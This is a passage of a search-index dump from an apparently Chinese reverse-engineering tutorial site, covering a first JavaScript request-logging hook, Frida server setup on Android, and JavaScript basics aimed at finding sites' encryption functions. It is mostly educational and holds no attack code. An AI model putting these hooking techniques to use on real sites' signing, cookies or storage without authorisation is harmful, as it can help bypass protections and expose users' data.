Hook","uri":"/reverse_engineering/web/00-quick-start/your_first_hook/#step-3-触发请求并观察"},{"categories":null,"collections":null,"content":"Step 4: 保存和导出数据 右键 Console 输出 选择 “Save as…” 保存为 network_log.txt 现在你有了所有请求的完整记录！ ","date":"2024-04-24","objectID":"/reverse_engineering/web/00-quick-start/your_first_hook/:5:4","tags":["RSA","入门","加密分析","Hook","Web逆向"],"title":"配方：你的第一个 Hook","uri":"/reverse_engineering/web/00-quick-start/your_first_hook/#step-4-保存和导出数据"},{"categories":null,"collections":null,"content":"✅ 验证清单 完成后，检查以下项目： ☐ Console 中看到 “✅ Hook 安装成功！” ☐ 点击链接后能看到 和 的日志 ☐ 日志中包含 URL 和状态码 ☐ 能看到响应内容的前 200 个字符 ☐ 成功保存了日志文件 ","date":"2024-04-24","objectID":"/reverse_engineering/web/00-quick-start/your_first_hook/:6:0","tags":["RSA","入门","加密分析","Hook","Web逆向"],"title":"配方：你的第一个 Hook","uri":"/reverse_engineering/web/00-quick-start/your_first_hook/#-验证清单"},{"categories":null,"collections":null,"content":"进阶练习 ","date":"2024-04-24","objectID":"/reverse_engineering/web/00-quick-start/your_first_hook/:7:0","tags":["RSA","入门","加密分析","Hook","Web逆向"],"title":"配方：你的第一个 Hook","uri":"/reverse_engineering/web/00-quick-start/your_first_hook/#进阶练习"},{"categories":null,"collections":null,"content":"练习 1: Hook 其他网站 尝试在真实网站上使用这个 Hook： 访问 https://www.douban.com/ 注入同样的 Hook 代码 刷新页面，观察所有请求 思考: 你能看到哪些有趣的 API 请求？ ","date":"2024-04-24","objectID":"/reverse_engineering/web/00-quick-start/your_first_hook/:7:1","tags":["RSA","入门","加密分析","Hook","Web逆向"],"title":"配方：你的第一个 Hook","uri":"/reverse_engineering/web/00-quick-start/your_first_hook/#练习-1-hook-其他网站"},{"categories":null,"collections":null,"content":"练习 2: 修改 Hook 脚本 尝试修改代码，添加更多功能： // 只记录包含特定关键词的请求 if (this._url.includes(\"/api/\")) { console.log(\" API 请求\", this._url); } ","date":"2024-04-24","objectID":"/reverse_engineering/web/00-quick-start/your_first_hook/:7:2","tags":["RSA","入门","加密分析","Hook","Web逆向"],"title":"配方：你的第一个 Hook","uri":"/reverse_engineering/web/00-quick-start/your_first_hook/#练习-2-修改-hook-脚本"},{"categories":null,"collections":null,"content":"练习 3: 统计请求数量 添加计数器： let requestCount = 0; // 在发送请求时 requestCount++; console.log(` 总请求数: ${requestCount}`); ","date":"2024-04-24","objectID":"/reverse_engineering/web/00-quick-start/your_first_hook/:7:3","tags":["RSA","入门","加密分析","Hook","Web逆向"],"title":"配方：你的第一个 Hook","uri":"/reverse_engineering/web/00-quick-start/your_first_hook/#练习-3-统计请求数量"},{"categories":null,"collections":null,"content":"常见问题 ","date":"2024-04-24","objectID":"/reverse_engineering/web/00-quick-start/your_first_hook/:8:0","tags":["RSA","入门","加密分析","Hook","Web逆向"],"title":"配方：你的第一个 Hook","uri":"/reverse_engineering/web/00-quick-start/your_first_hook/#常见问题"},{"categories":null,"collections":null,"content":"Q1: 刷新页面后 Hook 失效了？ A: 是的！Hook 是注入到当前页面的 JavaScript 环境中的，刷新页面会清空所有内容。 解决方案: 每次刷新后重新执行 Hook 代码 或者使用浏览器扩展（如 Tampermonkey）自动注入 ","date":"2024-04-24","objectID":"/reverse_engineering/web/00-quick-start/your_first_hook/:8:1","tags":["RSA","入门","加密分析","Hook","Web逆向"],"title":"配方：你的第一个 Hook","uri":"/reverse_engineering/web/00-quick-start/your_first_hook/#q1-刷新页面后-hook-失效了"},{"categories":null,"collections":null,"content":"Q2: 看不到任何输出？ A: 检查以下几点： Hook 代码是否成功执行（有没有报错） 网站是否真的发送了请求（检查 Network 标签） Console 的过滤器是否设置正确（确保显示所有日志） ","date":"2024-04-24","objectID":"/reverse_engineering/web/00-quick-start/your_first_hook/:8:2","tags":["RSA","入门","加密分析","Hook","Web逆向"],"title":"配方：你的第一个 Hook","uri":"/reverse_engineering/web/00-quick-start/your_first_hook/#q2-看不到任何输出"},{"categories":null,"collections":null,"content":"Q3: 为什么有些请求看不到？ A: 可能的原因： 使用了其他请求方式（如 WebSocket） 请求在 Hook 代码注入前就发送了 使用了原生的网络 API（需要更深层的 Hook） ","date":"2024-04-24","objectID":"/reverse_engineering/web/00-quick-start/your_first_hook/:8:3","tags":["RSA","入门","加密分析","Hook","Web逆向"],"title":"配方：你的第一个 Hook","uri":"/reverse_engineering/web/00-quick-start/your_first_hook/#q3-为什么有些请求看不到"},{"categories":null,"collections":null,"content":"Q4: Hook 会影响网站正常运行吗？ A: 我们的 Hook 代码只是\"监听\"，不修改数据，所以不会影响网站功能。但如果 Hook 代码有 bug，可能导致页面错误。 ","date":"2024-04-24","objectID":"/reverse_engineering/web/00-quick-start/your_first_hook/:8:4","tags":["RSA","入门","加密分析","Hook","Web逆向"],"title":"配方：你的第一个 Hook","uri":"/reverse_engineering/web/00-quick-start/your_first_hook/#q4-hook-会影响网站正常运行吗"},{"categories":null,"collections":null,"content":"Q5: 如何 Hook 更多的 API？ A: 同样的原理可以应用到： localStorage.setItem / getItem document.cookie WebSocket XMLHttpRequest.setRequestHeader 查看 JavaScript Hook 脚本 获取更多示例。 ","date":"2024-04-24","objectID":"/reverse_engineering/web/00-quick-start/your_first_hook/:8:5","tags":["RSA","入门","加密分析","Hook","Web逆向"],"title":"配方：你的第一个 Hook","uri":"/reverse_engineering/web/00-quick-start/your_first_hook/#q5-如何-hook-更多的-api"},{"categories":null,"collections":null,"content":"原理解析 ","date":"2024-04-24","objectID":"/reverse_engineering/web/00-quick-start/your_first_hook/:9:0","tags":["RSA","入门","加密分析","Hook","Web逆向"],"title":"配方：你的第一个 Hook","uri":"/reverse_engineering/web/00-quick-start/your_first_hook/#原理解析"},{"categories":null,"collections":null,"content":"Hook 是如何工作的？ // 1. 保存原始函数 const original = XMLHttpRequest.prototype.send; // 2. 用我们的函数替换 XMLHttpRequest.prototype.send = function (...args) { console.log(\"拦截到了！\"); // 我们的代码 return original.apply(this, args); // 调用原函数 }; 关键点: JavaScript 允许在运行时修改函数 我们用\"包装函数\"替换原函数 包装函数先执行我们的代码，再调用原函数 这样既能监控，又不影响功能 ","date":"2024-04-24","objectID":"/reverse_engineering/web/00-quick-start/your_first_hook/:9:1","tags":["RSA","入门","加密分析","Hook","Web逆向"],"title":"配方：你的第一个 Hook","uri":"/reverse_engineering/web/00-quick-start/your_first_hook/#hook-是如何工作的"},{"categories":null,"collections":null,"content":"相关配方 ","date":"2024-04-24","objectID":"/reverse_engineering/web/00-quick-start/your_first_hook/:10:0","tags":["RSA","入门","加密分析","Hook","Web逆向"],"title":"配方：你的第一个 Hook","uri":"/reverse_engineering/web/00-quick-start/your_first_hook/#相关配方"},{"categories":null,"collections":null,"content":"基础配方 Hook 技术 - Hook 的深入讲解 调试技巧 - 使用断点调试 ","date":"2024-04-24","objectID":"/reverse_engineering/web/00-quick-start/your_first_hook/:10:1","tags":["RSA","入门","加密分析","Hook","Web逆向"],"title":"配方：你的第一个 Hook","uri":"/reverse_engineering/web/00-quick-start/your_first_hook/#基础配方"},{"categories":null,"collections":null,"content":"高级配方 JavaScript Hook 脚本合集 - 更多即用型 Hook ","date":"2024-04-24","objectID":"/reverse_engineering/web/00-quick-start/your_first_hook/:10:2","tags":["RSA","入门","加密分析","Hook","Web逆向"],"title":"配方：你的第一个 Hook","uri":"/reverse_engineering/web/00-quick-start/your_first_hook/#高级配方"},{"categories":null,"collections":null,"content":"下一步 解密 API 参数 - 学习如何分析加密算法 ","date":"2024-04-24","objectID":"/reverse_engineering/web/00-quick-start/your_first_hook/:10:3","tags":["RSA","入门","加密分析","Hook","Web逆向"],"title":"配方：你的第一个 Hook","uri":"/reverse_engineering/web/00-quick-start/your_first_hook/#下一步"},{"categories":null,"collections":null,"content":"恭喜！ 你已经完成了第一个 Web 逆向配方！ 现在你已经掌握了： ✅ 基本的 Hook 技术 ✅ 如何监控网络请求 ✅ 如何使用浏览器开发者工具 下一步: 继续学习 解密 API 参数，掌握更高级的技能！ 小贴士: 将这个 Hook 代码保存为书签或 Snippet，以便随时使用 尝试在不同网站使用，观察它们的请求模式 加入逆向工程社区，分享你的发现 Happy Hacking! ","date":"2024-04-24","objectID":"/reverse_engineering/web/00-quick-start/your_first_hook/:11:0","tags":["RSA","入门","加密分析","Hook","Web逆向"],"title":"配方：你的第一个 Hook","uri":"/reverse_engineering/web/00-quick-start/your_first_hook/#恭喜"},{"categories":null,"collections":null,"content":"环境配置 5 分钟完成基础逆向环境搭建。 ","date":"2024-04-22","objectID":"/reverse_engineering/android/00-quick-start/setup/:0:0","tags":["入门","Frida","Android","ARM汇编","DEX","IDA Pro"],"title":"环境配置","uri":"/reverse_engineering/android/00-quick-start/setup/#环境配置"},{"categories":null,"collections":null,"content":"必需工具 工具 安装命令 Python 3.8+ 官网下载或 brew install python3 ADB brew install android-platform-tools 或 Android Studio Frida pip install frida-tools ","date":"2024-04-22","objectID":"/reverse_engineering/android/00-quick-start/setup/:1:0","tags":["入门","Frida","Android","ARM汇编","DEX","IDA Pro"],"title":"环境配置","uri":"/reverse_engineering/android/00-quick-start/setup/#必需工具"},{"categories":null,"collections":null,"content":"设备准备 推荐新手：使用模拟器（Genymotion 或 Android Studio AVD） 使用真机： 设置 → 关于手机 → 连点\"版本号\"7 次 → 启用开发者选项 开发者选项 → 启用 USB 调试 连接设备，执行 adb devices 确认 ","date":"2024-04-22","objectID":"/reverse_engineering/android/00-quick-start/setup/:2:0","tags":["入门","Frida","Android","ARM汇编","DEX","IDA Pro"],"title":"环境配置","uri":"/reverse_engineering/android/00-quick-start/setup/#设备准备"},{"categories":null,"collections":null,"content":"安装 Frida Server # 1. 查看设备架构 adb shell getprop ro.product.cpu.abi # arm64-v8a → frida-server-*-android-arm64 # x86_64 → frida-server-*-android-x86_64 # 2. 下载对应版本 (版本需与本地 frida 一致) # https://github.com/frida/frida/releases # 3. 部署到设备 adb push frida-server /data/local/tmp/ adb shell \"chmod 755 /data/local/tmp/frida-server\" adb shell \"/data/local/tmp/frida-server \u0026\" # 4. 验证 frida-ps -U ","date":"2024-04-22","objectID":"/reverse_engineering/android/00-quick-start/setup/:3:0","tags":["入门","Frida","Android","ARM汇编","DEX","IDA Pro"],"title":"环境配置","uri":"/reverse_engineering/android/00-quick-start/setup/#安装-frida-server"},{"categories":null,"collections":null,"content":"验证清单 python3 --version # \u003e= 3.8 adb devices # 显示设备 frida --version # 显示版本 frida-ps -U # 列出进程 环境就绪！ → 开始 10 分钟入门 ","date":"2024-04-22","objectID":"/reverse_engineering/android/00-quick-start/setup/:4:0","tags":["入门","Frida","Android","ARM汇编","DEX","IDA Pro"],"title":"环境配置","uri":"/reverse_engineering/android/00-quick-start/setup/#验证清单"},{"categories":null,"collections":null,"content":"JavaScript 基础 ","date":"2024-04-17","objectID":"/reverse_engineering/web/01-foundations/javascript_basics/:0:0","tags":["Web","HTTP","RSA","签名验证","JavaScript","加密分析"],"title":"JavaScript 基础","uri":"/reverse_engineering/web/01-foundations/javascript_basics/#javascript-基础"},{"categories":null,"collections":null,"content":"概述 JavaScript 是 Web 逆向工程中最重要的语言。掌握 JavaScript 的核心概念对于理解和分析 Web 应用至关重要。 ","date":"2024-04-17","objectID":"/reverse_engineering/web/01-foundations/javascript_basics/:1:0","tags":["Web","HTTP","RSA","签名验证","JavaScript","加密分析"],"title":"JavaScript 基础","uri":"/reverse_engineering/web/01-foundations/javascript_basics/#概述"},{"categories":null,"collections":null,"content":"数据类型 ","date":"2024-04-17","objectID":"/reverse_engineering/web/01-foundations/javascript_basics/:2:0","tags":["Web","HTTP","RSA","签名验证","JavaScript","加密分析"],"title":"JavaScript 基础","uri":"/reverse_engineering/web/01-foundations/javascript_basics/#数据类型"},{"categories":null,"collections":null,"content":"基本类型（Primitive Types） // Number let num = 42; let float = 3.14; let hex = 0xff; // 255 // String let str = \"Hello\"; let str2 = \"World\"; let template = `${str} ${str2}`; // \"Hello World\" // Boolean let isTrue = true; let isFalse = false; // Undefined let notDefined; console.log(notDefined); // undefined // Null let empty = null; // Symbol (ES6+) let sym = Symbol(\"description\"); // BigInt (ES2020+) let bigNum = 1234567890123456789012345678901234567890n; ","date":"2024-04-17","objectID":"/reverse_engineering/web/01-foundations/javascript_basics/:2:1","tags":["Web","HTTP","RSA","签名验证","JavaScript","加密分析"],"title":"JavaScript 基础","uri":"/reverse_engineering/web/01-foundations/javascript_basics/#基本类型primitive-types"},{"categories":null,"collections":null,"content":"引用类型（Reference Types） // Object let obj = { name: \"John\", age: 30, greet: function () { console.log(\"Hello\"); }, }; // Array let arr = [1, 2, 3, 4, 5]; let mixed = [1, \"two\", true, null, { key: \"value\" }]; // Function function myFunc() { return \"Hello\"; } // Date let date = new Date(); // RegExp let regex = /pattern/gi; ","date":"2024-04-17","objectID":"/reverse_engineering/web/01-foundations/javascript_basics/:2:2","tags":["Web","HTTP","RSA","签名验证","JavaScript","加密分析"],"title":"JavaScript 基础","uri":"/reverse_engineering/web/01-foundations/javascript_basics/#引用类型reference-types"},{"categories":null,"collections":null,"content":"变量声明 ","date":"2024-04-17","objectID":"/reverse_engineering/web/01-foundations/javascript_basics/:3:0","tags":["Web","HTTP","RSA","签名验证","JavaScript","加密分析"],"title":"JavaScript 基础","uri":"/reverse_engineering/web/01-foundations/javascript_basics/#变量声明"},{"categories":null,"collections":null,"content":"var vs let vs const // var: 函数作用域，存在变量提升 var x = 1; if (true) { var x = 2; // 同一个变量 console.log(x); // 2 } console.log(x); // 2 // let: 块作用域，无变量提升 let y = 1; if (true) { let y = 2; // 不同的变量 console.log(y); // 2 } console.log(y); // 1 // const: 块作用域，常量（引用不可变） const z = 1; // z = 2; // 错误：不能重新赋值 const obj = { name: \"John\" }; obj.name = \"Jane\"; // 可以修改对象属性 // obj = {}; // 错误：不能重新赋值 ","date":"2024-04-17","objectID":"/reverse_engineering/web/01-foundations/javascript_basics/:3:1","tags":["Web","HTTP","RSA","签名验证","JavaScript","加密分析"],"title":"JavaScript 基础","uri":"/reverse_engineering/web/01-foundations/javascript_basics/#var-vs-let-vs-const"},{"categories":null,"collections":null,"content":"作用域与闭包 ","date":"2024-04-17","objectID":"/reverse_engineering/web/01-foundations/javascript_basics/:4:0","tags":["Web","HTTP","RSA","签名验证","JavaScript","加密分析"],"title":"JavaScript 基础","uri":"/reverse_engineering/web/01-foundations/javascript_basics/#作用域与闭包"},{"categories":null,"collections":null,"content":"作用域链 let global = \"global\"; function outer() { let outerVar = \"outer\"; function inner() { let innerVar = \"inner\"; console.log(global); // \"global\" console.log(outerVar); // \"outer\" console.log(innerVar); // \"inner\" } inner(); } outer(); ","date":"2024-04-17","objectID":"/reverse_engineering/web/01-foundations/javascript_basics/:4:1","tags":["Web","HTTP","RSA","签名验证","JavaScript","加密分析"],"title":"JavaScript 基础","uri":"/reverse_engineering/web/01-foundations/javascript_basics/#作用域链"},{"categories":null,"collections":null,"content":"闭包（Closure） function createCounter() { let count = 0; return { increment: function () { count++; return count; }, decrement: function () { count--; return count; }, getCount: function () { return count; }, }; } let counter = createCounter(); console.log(counter.increment()); // 1 console.log(counter.increment()); // 2 console.log(counter.getCount()); // 2 在逆向中的应用：很多 JS 加密函数使用闭包来隐藏密钥。 ","date":"2024-04-17","objectID":"/reverse_engineering/web/01-foundations/javascript_basics/:4:2","tags":["Web","HTTP","RSA","签名验证","JavaScript","加密分析"],"title":"JavaScript 基础","uri":"/reverse_engineering/web/01-foundations/javascript_basics/#闭包closure"},{"categories":null,"collections":null,"content":"this 关键字 ","date":"2024-04-17","objectID":"/reverse_engineering/web/01-foundations/javascript_basics/:5:0","tags":["Web","HTTP","RSA","签名验证","JavaScript","加密分析"],"title":"JavaScript 基础","uri":"/reverse_engineering/web/01-foundations/javascript_basics/#this-关键字"},{"categories":null,"collections":null,"content":"this 的绑定规则 // 1. 默认绑定 - 指向全局对象（严格模式下为 undefined） function defaultBinding() { console.log(this); // window (浏览器) 或 global (Node.js) } // 2. 隐式绑定 - 指向调用对象 let obj = { name: \"John\", greet: function () { console.log(this.name); }, }; obj.greet(); // \"John\" // 3. 显式绑定 - 使用 call/apply/bind function greet() { console.log(this.name); } let person = { name: \"Jane\" }; greet.call(person); // \"Jane\" greet.apply(person); // \"Jane\" let boundGreet = greet.bind(person); boundGreet(); // \"Jane\" // 4. new 绑定 - 指向新创建的对象 function Person(name) { this.name = name; } let p = new Person(\"Bob\"); console.log(p.name); // \"Bob\" // 5. 箭头函数 - 继承外层作用域的 this let obj2 = { name: \"Alice\", greet: () =\u003e { console.log(this.name); // undefined（继承外层 this） }, greet2: function () { setTimeout(() =\u003e { console.log(this.name); // \"Alice\"（继承 greet2 的 this） }, 100); }, }; ","date":"2024-04-17","objectID":"/reverse_engineering/web/01-foundations/javascript_basics/:5:1","tags":["Web","HTTP","RSA","签名验证","JavaScript","加密分析"],"title":"JavaScript 基础","uri":"/reverse_engineering/web/01-foundations/javascript_basics/#this-的绑定规则"},{"categories":null,"collections":null,"content":"原型与原型链 ","date":"2024-04-17","objectID":"/reverse_engineering/web/01-foundations/javascript_basics/:6:0","tags":["Web","HTTP","RSA","签名验证","JavaScript","加密分析"],"title":"JavaScript 基础","uri":"/reverse_engineering/web/01-foundations/javascript_basics/#原型与原型链"},{"categories":null,"collections":null,"content":"原型基础 function Person(name) { this.name = name; } // 在原型上定义方法 Person.prototype.greet = function () { console.log(`Hello, I'm ${this.name}`); }; let p1 = new Person(\"John\"); let p2 = new Person(\"Jane\"); p1.greet(); // \"Hello, I'm John\" p2.greet(); // \"Hello, I'm Jane\" // p1 和 p2 共享同一个 greet 方法 console.log(p1.greet === p2.greet); // true ","date":"2024-04-17","objectID":"/reverse_engineering/web/01-foundations/javascript_basics/:6:1","tags":["Web","HTTP","RSA","签名验证","JavaScript","加密分析"],"title":"JavaScript 基础","uri":"/reverse_engineering/web/01-foundations/javascript_basics/#原型基础"},{"categories":null,"collections":null,"content":"原型链 let obj = { a: 1 }; // 原型链：obj -\u003e Object.prototype -\u003e null console.log(obj.__proto__ === Object.prototype); // true console.log(Object.prototype.__proto__); // null // 属性查找会沿着原型链向上查找 console.log(obj.toString); // [Function: toString] (来自 Object.prototype) ","date":"2024-04-17","objectID":"/reverse_engineering/web/01-foundations/javascript_basics/:6:2","tags":["Web","HTTP","RSA","签名验证","JavaScript","加密分析"],"title":"JavaScript 基础","uri":"/reverse_engineering/web/01-foundations/javascript_basics/#原型链"},{"categories":null,"collections":null,"content":"Class 语法（ES6+） class Person { constructor(name) { this.name = name; } greet() { console.log(`Hello, I'm ${this.name}`); } static species() { return \"Homo sapiens\"; } } class Student extends Person { constructor(name, grade) { super(name); this.grade = grade; } study() { console.log(`${this.name} is studying in grade ${this.grade}`); } } let student = new Student(\"Alice\", 10); student.greet(); // \"Hello, I'm Alice\" student.study(); // \"Alice is studying in grade 10\" ","date":"2024-04-17","objectID":"/reverse_engineering/web/01-foundations/javascript_basics/:6:3","tags":["Web","HTTP","RSA","签名验证","JavaScript","加密分析"],"title":"JavaScript 基础","uri":"/reverse_engineering/web/01-foundations/javascript_basics/#class-语法es6"},{"categories":null,"collections":null,"content":"异步编程 ","date":"2024-04-17","objectID":"/reverse_engineering/web/01-foundations/javascript_basics/:7:0","tags":["Web","HTTP","RSA","签名验证","JavaScript","加密分析"],"title":"JavaScript 基础","uri":"/reverse_engineering/web/01-foundations/javascript_basics/#异步编程"},{"categories":null,"collections":null,"content":"回调函数（Callback） function fetchData(callback) { setTimeout(() =\u003e { callback(\"Data loaded\"); }, 1000); } fetchData((data) =\u003e { console.log(data); // \"Data loaded\" (1秒后) }); ","date":"2024-04-17","objectID":"/reverse_engineering/web/01-foundations/javascript_basics/:7:1","tags":["Web","HTTP","RSA","签名验证","JavaScript","加密分析"],"title":"JavaScript 基础","uri":"/reverse_engineering/web/01-foundations/javascript_basics/#回调函数callback"},{"categories":null,"collections":null,"content":"Promise function fetchData() { return new Promise((resolve, reject) =\u003e { setTimeout(() =\u003e { let success = true; if (success) { resolve(\"Data loaded\"); } else { reject(\"Error occurred\"); } }, 1000); }); } // 使用 .then() fetchData() .then((data) =\u003e console.log(data)) .catch((error) =\u003e console.error(error)); // Promise 链式调用 fetch(\"https://api.example.com/data\") .then((response) =\u003e response.json()) .then((data) =\u003e console.log(data)) .catch((error) =\u003e console.error(error)); ","date":"2024-04-17","objectID":"/reverse_engineering/web/01-foundations/javascript_basics/:7:2","tags":["Web","HTTP","RSA","签名验证","JavaScript","加密分析"],"title":"JavaScript 基础","uri":"/reverse_engineering/web/01-foundations/javascript_basics/#promise"},{"categories":null,"collections":null,"content":"Async/Await（ES2017+） async function loadData() { try { let response = await fetch(\"https://api.example.com/data\"); let data = await response.json(); console.log(data); } catch (error) { console.error(error); } } loadData(); ","date":"2024-04-17","objectID":"/reverse_engineering/web/01-foundations/javascript_basics/:7:3","tags":["Web","HTTP","RSA","签名验证","JavaScript","加密分析"],"title":"JavaScript 基础","uri":"/reverse_engineering/web/01-foundations/javascript_basics/#asyncawaites2017"},{"categories":null,"collections":null,"content":"常用内置对象和方法 ","date":"2024-04-17","objectID":"/reverse_engineering/web/01-foundations/javascript_basics/:8:0","tags":["Web","HTTP","RSA","签名验证","JavaScript","加密分析"],"title":"JavaScript 基础","uri":"/reverse_engineering/web/01-foundations/javascript_basics/#常用内置对象和方法"},{"categories":null,"collections":null,"content":"Array 方法 let arr = [1, 2, 3, 4, 5]; // 遍历 arr.forEach((item) =\u003e console.log(item)); // 映射 let doubled = arr.map((x) =\u003e x * 2); // [2, 4, 6, 8, 10] // 过滤 let evens = arr.filter((x) =\u003e x % 2 === 0); // [2, 4] // 归约 let sum = arr.reduce((acc, x) =\u003e acc + x, 0); // 15 // 查找 let found = arr.find((x) =\u003e x \u003e 3); // 4 let index = arr.findIndex((x) =\u003e x \u003e 3); // 3 // 判断 let hasEven = arr.some((x) =\u003e x % 2 === 0); // true let allPositive = arr.every((x) =\u003e x \u003e 0); // true // 展平 let nested = [1, [2, [3, 4]]]; let flat = nested.flat(2); // [1, 2, 3, 4] ","date":"2024-04-17","objectID":"/reverse_engineering/web/01-foundations/javascript_basics/:8:1","tags":["Web","HTTP","RSA","签名验证","JavaScript","加密分析"],"title":"JavaScript 基础","uri":"/reverse_engineering/web/01-foundations/javascript_basics/#array-方法"},{"categories":null,"collections":null,"content":"String 方法 let str = \"Hello World\"; // 查找 str.indexOf(\"World\"); // 6 str.includes(\"World\"); // true str.startsWith(\"Hello\"); // true str.endsWith(\"World\"); // true // 提取 str.substring(0, 5); // \"Hello\" str.slice(0, 5); // \"Hello\" str.substr(0, 5); // \"Hello\" (已废弃) // 替换 str.replace(\"World\", \"JavaScript\"); // \"Hello JavaScript\" str.replaceAll(\"l\", \"L\"); // \"HeLLo WorLd\" // 分割与连接 str.split(\" \"); // [\"Hello\", \"World\"] [\"Hello\", \"World\"].join(\"-\"); // \"Hello-World\" // 大小写 str.toLowerCase(); // \"hello world\" str.toUpperCase(); // \"HELLO WORLD\" // 去空格 \" hello \".trim(); // \"hello\" \" hello \".trimStart(); // \"hello \" \" hello \".trimEnd(); // \" hello\" ","date":"2024-04-17","objectID":"/reverse_engineering/web/01-foundations/javascript_basics/:8:2","tags":["Web","HTTP","RSA","签名验证","JavaScript","加密分析"],"title":"JavaScript 基础","uri":"/reverse_engineering/web/01-foundations/javascript_basics/#string-方法"},{"categories":null,"collections":null,"content":"Object 方法 let obj = { a: 1, b: 2, c: 3 }; // 获取键、值、条目 Object.keys(obj); // [\"a\", \"b\", \"c\"] Object.values(obj); // [1, 2, 3] Object.entries(obj); // [[\"a\", 1], [\"b\", 2], [\"c\", 3]] // 合并对象 let merged = Object.assign({}, obj, { d: 4 }); // {a: 1, b: 2, c: 3, d: 4} let spread = { ...obj, d: 4 }; // {a: 1, b: 2, c: 3, d: 4} // 冻结对象 Object.freeze(obj); obj.a = 100; // 无效 console.log(obj.a); // 1 // 密封对象 Object.seal(obj); obj.a = 100; // 可以修改 delete obj.a; // 无效 ","date":"2024-04-17","objectID":"/reverse_engineering/web/01-foundations/javascript_basics/:8:3","tags":["Web","HTTP","RSA","签名验证","JavaScript","加密分析"],"title":"JavaScript 基础","uri":"/reverse_engineering/web/01-foundations/javascript_basics/#object-方法"},{"categories":null,"collections":null,"content":"正则表达式 ","date":"2024-04-17","objectID":"/reverse_engineering/web/01-foundations/javascript_basics/:9:0","tags":["Web","HTTP","RSA","签名验证","JavaScript","加密分析"],"title":"JavaScript 基础","uri":"/reverse_engineering/web/01-foundations/javascript_basics/#正则表达式"},{"categories":null,"collections":null,"content":"基本语法 // 创建正则 let regex1 = /pattern/gi; let regex2 = new RegExp(\"pattern\", \"gi\"); // 标志 // g - 全局匹配 // i - 忽略大小写 // m - 多行匹配 // s - . 匹配换行符 // u - Unicode 模式 // y - 粘性匹配 // 常用方法 let str = \"Hello World 123\"; str.match(/\\d+/); // [\"123\"] str.search(/World/); // 6 str.replace(/\\d+/, \"456\"); // \"Hello World 456\" str.split(/\\s+/); // [\"Hello\", \"World\", \"123\"] /World/.test(str); // true /\\d+/.exec(str); // [\"123\", index: 12, input: \"Hello World 123\"] ","date":"2024-04-17","objectID":"/reverse_engineering/web/01-foundations/javascript_basics/:9:1","tags":["Web","HTTP","RSA","签名验证","JavaScript","加密分析"],"title":"JavaScript 基础","uri":"/reverse_engineering/web/01-foundations/javascript_basics/#基本语法"},{"categories":null,"collections":null,"content":"常用模式 // 数字 /\\d+/ // 一个或多个数字 /^\\d+$/ // 整行都是数字 // 字母 /[a-zA-Z]+/ // 一个或多个字母 // 邮箱 /^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}$/ // URL /^https?:\\/\\/.+/ // 手机号（中国） /^1[3-9]\\d{9}$/ // 捕获组 let match = \"2024-12-17\".match(/(\\d{4})-(\\d{2})-(\\d{2})/); // match[0] = \"2024-12-17\" // match[1] = \"2024\" // match[2] = \"12\" // match[3] = \"17\" ","date":"2024-04-17","objectID":"/reverse_engineering/web/01-foundations/javascript_basics/:9:2","tags":["Web","HTTP","RSA","签名验证","JavaScript","加密分析"],"title":"JavaScript 基础","uri":"/reverse_engineering/web/01-foundations/javascript_basics/#常用模式"},{"categories":null,"collections":null,"content":"错误处理 // try-catch try { // 可能出错的代码 let result = riskyOperation(); } catch (error) { console.error(\"Error occurred:\", error.message); } finally { // 无论是否出错都会执行 cleanup(); } // 抛出错误 function divide(a, b) { if (b === 0) { throw new Error(\"Division by zero\"); } return a / b; } // 自定义错误 class CustomError extends Error { constructor(message) { super(message); this.name = \"CustomError\"; } } throw new CustomError(\"Something went wrong\"); ","date":"2024-04-17","objectID":"/reverse_engineering/web/01-foundations/javascript_basics/:10:0","tags":["Web","HTTP","RSA","签名验证","JavaScript","加密分析"],"title":"JavaScript 基础","uri":"/reverse_engineering/web/01-foundations/javascript_basics/#错误处理"},{"categories":null,"collections":null,"content":"模块化 ","date":"2024-04-17","objectID":"/reverse_engineering/web/01-foundations/javascript_basics/:11:0","tags":["Web","HTTP","RSA","签名验证","JavaScript","加密分析"],"title":"JavaScript 基础","uri":"/reverse_engineering/web/01-foundations/javascript_basics/#模块化"},{"categories":null,"collections":null,"content":"ES6 模块 // math.js export function add(a, b) { return a + b; } export const PI = 3.14159; export default class Calculator { // ... } // main.js import Calculator, { add, PI } from \"./math.js\"; import * as math from \"./math.js\"; console.log(add(1, 2)); // 3 console.log(PI); // 3.14159 let calc = new Calculator(); ","date":"2024-04-17","objectID":"/reverse_engineering/web/01-foundations/javascript_basics/:11:1","tags":["Web","HTTP","RSA","签名验证","JavaScript","加密分析"],"title":"JavaScript 基础","uri":"/reverse_engineering/web/01-foundations/javascript_basics/#es6-模块"},{"categories":null,"collections":null,"content":"CommonJS（Node.js） // math.js function add(a, b) { return a + b; } module.exports = { add, PI: 3.14159, }; // main.js const math = require(\"./math\"); console.log(math.add(1, 2)); // 3 ","date":"2024-04-17","objectID":"/reverse_engineering/web/01-foundations/javascript_basics/:11:2","tags":["Web","HTTP","RSA","签名验证","JavaScript","加密分析"],"title":"JavaScript 基础","uri":"/reverse_engineering/web/01-foundations/javascript_basics/#commonjsnodejs"},{"categories":null,"collections":null,"content":"逆向分析技巧 ","date":"2024-04-17","objectID":"/reverse_engineering/web/01-foundations/javascript_basics/:12:0","tags":["Web","HTTP","RSA","签名验证","JavaScript","加密分析"],"title":"JavaScript 基础","uri":"/reverse_engineering/web/01-foundations/javascript_basics/#逆向分析技巧"},{"categories":null,"collections":null,"content":"1. 查找加密函数 // 常见的加密库关键词 // CryptoJS, crypto, encrypt, decrypt, MD5, SHA, AES, RSA // 搜索技巧 // 在 DevTools 的 Sources 面板中全局搜索这些关键词 // Ctrl+Shift+F (Windows) 或 Cmd+Opt+F (Mac) ","date":"2024-04-17","objectID":"/reverse_engineering/web/01-foundations/javascript_basics/:12:1","tags":["Web","HTTP","RSA","签名验证","JavaScript","加密分析"],"title":"JavaScript 基础","uri":"/reverse_engineering/web/01-foundations/javascript_basics/#1-查找加密函数"},{"categories":null,"collections":null,"content":"2. Hook 函数 // Hook 原生方法 const originalFetch = window.fetch; window.fetch = function (...args) { console.log(\"Fetch called with:\", args); return originalFetch.apply(this, args); }; // Hook 对象方法 const originalPush = Array.prototype.push; Array.prototype.push = function (...items) { console.log(\"Array push:\", items); return originalPush.apply(this, items); }; ","date":"2024-04-17","objectID":"/reverse_engineering/web/01-foundations/javascript_basics/:12:2","tags":["Web","HTTP","RSA","签名验证","JavaScript","加密分析"],"title":"JavaScript 